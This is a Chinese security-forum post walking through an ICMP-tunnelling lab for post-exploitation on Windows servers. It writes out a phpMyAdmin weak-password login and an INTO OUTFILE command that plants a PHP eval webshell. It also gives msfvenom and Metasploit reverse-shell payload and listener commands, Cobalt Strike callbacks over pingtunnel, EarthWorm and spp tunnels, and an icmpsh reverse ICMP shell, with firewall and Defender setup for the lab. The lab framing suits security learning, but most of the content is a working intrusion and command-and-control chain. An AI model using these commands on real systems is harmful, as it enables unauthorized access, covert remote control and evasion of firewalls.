电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1661 人浏览分享

内网穿透之icmp隧道搭建+上线CS+环境场景搭建笔记

[复制链接]
1661 0
前言

在后渗透中内网隧道是必不可少的 在能够TCP出网的情况下搭建隧道是最容易的 使用frp即稳定又方便 搭建几级
代理都不是问题。但是也有很多TCP不出网的情况 在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧
技术 我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境 其实很简单 都是windows自带防火墙的
一些规则策略 通过各种尝试 终于完成此环境(不知道有没有别的问题 现在把过程分享给大家~路过的师傅都来看
看呀有不正确的地方求教教我^^

QQ截图20210817145203.png

通过环境搭建 满足以下条件:

192.168.3.76(kali)模拟公网vp/s地址 WEB服务器1(windows server2019)模拟公司对外提供Web服务的机器 该机器
可以通内网,同时向公网提供服务。内网同网段存在一台WIndows内网服务器 Web服务器可以访问该机器远程桌面
当我们拿到web服务器1的shell之后发现只能使用icmp协议访问公网vp/s(ping)所以只能用ICMP搭建通往内网的
隧道访问内网服务器进行后续攻击操作。

windows环境:

系统:windows server 2019(WEB服务器)windows server2008 R2(内网服务器)
WEB服务器1使用phpstudy搭建web服务 防火墙配置策略能访问内网服务器
隧道打通之后可以用来访问内网服务器远程桌面测试。

工具:phpstudy

用来开启web服务 web服务直接使用phpstudy默认功能即可 phpstudy探针+phpmyadmin弱口令
WEB服务器防火墙入站规则仅开启80端口TCP 用来攻击获取shell。

一、获取WEB服务器shell

1 phpstudy探针得到网站路径
  1. C:/phpStudy/WWW
复制代码

QQ截图20210817145623.png

2 phpmyadmin弱口令root/root
  1. http://192.168.3.88/phpmyadmin
复制代码

通过phpstudy开启的服务 使用弱口令连接phpmyadmin

999.png

3 写入webshell
  1. show global variables like '%secure_file_priv%';
  2. NULL    不允许导入或导出
  3. /tmp    只允许在 /tmp 目录导入导出
  4. 空      不限制目录
复制代码

这里是空值

998.png

写入webshell
  1. select '<?php @eval($_POST[ch4nge]);?>' into outfile 'C:/phpStudy/WWW/ch4nge.php';
复制代码

997.png

4 蚁剑连接

996.png

二、ew+pingtunnel组合建立socks5隧道

ew

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具 基于标准C开发 可提供多平台间的
转接通讯用于复杂网络环境下的数据转发。
  1. https://github.com/idlefire/ew
复制代码

pingtunnel

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

注意 在客户端中运行一定要加noprint nolog两个参数 否则会生成大量的日志文件

由于ICMP为网络层协议 应用层防火墙无法识别 且请求包当中的数据字段被加密
  1. https://github.com/esrrhs/pingtunnel
复制代码

1 v/ps-kali执行
  1. ./ew_for_linux64 -s rcsocks -l 10080 -e 8898

  2. ./pingtunnel -type server
复制代码

将8898收到的请求转发至10080端口

QQ截图20210817150352.png

QQ截图20210817150411.png

2 WEB服务器执行pingtunnel
  1. pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t
  2. 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1
复制代码

QQ截图20210817150521.png
993.png

3 WEB服务器执行ew
  1. ew.exe -s rssocks -d 127.0.0.1 -e 9999
复制代码

992.png

ew回显OK,隧道已打通!

991.png

4 连接代理

使用proxifier设置代理

990.png

远程桌面测试

899.png

远程桌面测试

898.png

897.png

896.png

三、pingtunnel上线MSF&CS

1 pingtunnel下载链接

注意,在客户端中运行一定要加noprint nolog两个参数 否则会生成大量的日志文件

由于ICMP为网络层协议 应用层防火墙无法识别 且请求包当中的数据字段被加密
  1. https://github.com/esrrhs/pingtunnel/releases
复制代码

2 v/ps服务端开启
  1. ./pingtunnel -type server        ##开启服务器模式
复制代码

回显0连接

1226.png

3 客户端开启

上传客户端

893.png

  1. pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_
  2. ip:7777 -tcp 1 -noprint 1 -nolog 1
  3. pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.1
  4. 68.3.76:7777 -tcp 1 -noprint 1 -nolog 1
复制代码

892.png

客户端本地监听9999端口  将监听到的连接通过icmpserver发送到Linsten_ip:7777端口

执行后 kali有回显

891.png

4 MSF上线

制作木马 木马的回连地址为127.0.0.1:9999,运行上线

MSF
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHO
  2. ST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe
复制代码

890.png

监听
  1. msfconsole -x "use exploit/multi/handler; set payload windows/x64/mete
  2. rpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j; "
复制代码

889.png

把木马ch4nge.exe从蚁剑上传到靶机 运行

888.png

887.png

5 CS上线
  1. pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t
  2. 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
复制代码

建立监听127.0.0.1:9999和192.168.3.76:7777

886.png

对ICMP-127的监听生成木马ch4nge2.exe 传到靶机运行

885.png

CS监听上线

884.png

883.png

四、spp搭建socks5隧道

反向代理用于进入目标内网 正向代理可配合远控工具进行上线
  1. 功能
  2. 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
  3. 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
  4. 协议和类型可以自由组合
  5. 外部代理协议和内部转发协议可以自由组合
  6. 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android
复制代码

1 下载
  1. https://github.com/esrrhs/spp
  2. https://github.com/esrrhs/spp/releases
复制代码

2 V/PS执行
  1. ./spp -type server -proto ricmp -listen 0.0.0.0
复制代码

882.png

3 WEB服务器执行
  1. spp.exe -name "test" -type reverse_socks5_client -server v/ps -from
  2. addr :8080 -proxyproto tcp -proto ricmp
  3. spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fro
  4. maddr :8080 -proxyproto tcp -proto ricmp
复制代码

881.png

V/PS回显

880.png
879.png

成功搭建隧道!

4 设置代理

socks5:v/ps:8080

192.168.3.76:8080

878.png

远程连接内网服务器

876.png

699.png

结束!

五、spp上线CS

1 V/PS执行
  1. ./spp -type server -proto ricmp -listen 0.0.0.0
复制代码

698.png

2 WEB服务器执行
  1. spp -name "test" -type proxy_client -server v/ps -fromaddr :8082 -toaddr :808
  2. 1 -proxyproto tcp -proto ricmp
  3. spp -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr
  4. :8081 -proxyproto tcp -proto ricmp
  5. # -nolog 1不输出日志,-noprint 1不打印内容
  6. spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr
  7. :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
复制代码

697.png

3 CS监听上线

建立监听127.0.0.1:8082和192.168.3.76:8081
696.png

对spp-127的监听生成木马ch4nge3.exe,传到靶机运行

CS监听上线

695.png

V/PS回显

694.png

wireshark捕获数据

693.png

六、icmpsh反弹shell

0 icmpsh简介

icmpsh 是一个简单的反向 ICMP shell 带有一个 win32 从站和一个 CPerl 或 Python 中的 POSIX 兼容主站
与其他类似的开源工具相比 它的主要优势在于它不需要管理权限即可在目标机器上运行。
该工具干净 简单且便携。该目标Windows机器上从 客户端 运行 它是用C写的 在Windows受害者机器上运
行服务器在攻击者机器上的任何平台上运行服务端。

1 下载地址
  1. https://github.com/bdamele/icmpsh
复制代码

2 工具安装

如果遇到报 请看下面的报错解决方法
  1. #下载工具
  2. git clone https://github.com/inquisb/icmpsh.git
  3. #安装依赖
  4. apt-get install python-impacket
  5. #关闭本地ICMP应答
  6. sysctl -w net.ipv4.icmp_echo_ignore_all=1
复制代码

3 V/PS-kali运行icmpsh的控制端
  1. python icmpsh_m.py v/ps-ip attack-ip

  2. python icmpsh_m.py 192.168.3.76 192.168.3.88
复制代码

692.png

4 WEB服务器运行
  1. icmpsh.exe -t 192.168.3.76
复制代码

691.png

v/ps接收到shell

690.png

使用wireshark抓包可以看到数据包都是ICMP协议

689.png

5 报错解决

You need to<span> </span>``install``Python Impacket library first

解决:
  1. git clone https://github.com/SecureAuthCorp/impacket.git
  2. cd impacket
  3. pip install -r requirements.txt
  4. python setup.py install
复制代码

如果第三行命令报错

688.png

切换普通用户再执行

687.png

安装完成后切换用户进行监听

6 局限性

V/PS和WEB服务器必须要能够相互ping通

七、附:隧道场景搭建

windows server 2019环境-icmp出网环境搭建记录

1 WEB服务器环境搭建

设置Windows防火墙策略

1) 启用防火墙

686.png

2) 防火墙高级设置(重点)

(1)设置阻止入站/出站连接

打开高级设置

683.png

选择属性

682.png

681.png

域配置文件 专用配置文件 公用配置文件这三个标签中出站连接设置为阻止 确定

再次查看

680.png

(2)禁用全部已启用的入站规则

选择入站规则 按照已启用排序 把启用的规则选中 全部禁用

669.png

668.png

(3)新建入站规则:允许80端口tcp入站

新建一个web服务 仅TCP的80端口入站

667.png

选择端口 下一步

666.png

选择tcp 输入特定端口80

665.png

默认选择允许连接 下一步

664.png

选择专用 公用 下一步

663.png

随便命名,完成

662.png

(4)新建出站规则:允许ICMP协议出站

禁用全部已启用的出站规则:同样点击出站规则 把启用的全部禁用掉

新建一个基于icmp协议的规则

661.png

选择自定义,协议和端口

660.png

默认 下一步

659.png

协议类型选择icmpv4 其余默认 下一步。 这里可以查看几个协议的协议号

658.png

作用域默认任何IP地址 下一步

619.png

选择允许连接 下一步

618.png

选择专用 公用 下一步

617.png

输入命名 完成

616.png

(5)新建出站规则:允许连接内网服务器

开启对内网服务器172.16.5.100所有访问权限。

229.png

选择自定义,下一步

228.png

默认选择所有程序 下一步

226.png

默认 下一步

222.png

远程ip地址设置为176.16.5.100

221.png

选择允许连接 下一步

220.png

选择专用 公用 下一步

219.png

218.png

(6)新建入站规则:允许远程桌面连接自己

用来对Ptunnel工具测试使用

新建入站规则 选择自定义 下一步

216.png

默认 下一步

212.png

默认 下一步

211.png

这里设置远程ip地址为本地地址 这里没有过多测试 这样设置能达到目的

210.png

默认 允许连接 下一步

209.png

选择专用 公用 下一步

208.png

命名 完成

206.png

3) phpStudy搭建WEB服务

先安装vc9_x86.exe 然后安装phpstudy。路径C:\phpstudy

202.png

4) 关闭windows病毒与威胁防护

29.png

2 内网服务器环境搭建

1) 开启防火墙

28.png

2) 禁用所有开启的入站规则 新建入站规则:仅允许WEB服务器访问

新建规则

26.png

选择自定义 下一步

22.png

默认所有程序 下一步

21.png

默认 下一步

20.png

远程IP只写一个172.16.5.60(WEB服务器第二网卡)

19.png

默认 下一步

18.png

选择专用 公用 下一步

16.png

命名,完成

15.png

3) 开启允许远程桌面

14.png

4) 环境测试

80端口tcp入站情况测试

开启服务后,windows攻击机可以通过ip进行访问web服务

13.png

ping测试

windows攻击机不能ping通环境机器

12.png

环境机器可以ping通其他机器

11.png

环境tcp不出网测试

环境机器无法访问百度的网站(tcp)

10.png

只能访问172.16.5.100的服务

9.png

八、参考文章&&工具下载

spp参考https://xz.aliyun.com/t/9820#toc-11

pingtunnel参考perng师傅文章

工具下载

链接:https://pan.baidu.com/s/1_O8-1zpno7siXiXiL_B4NQ
提取码:nhxn

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.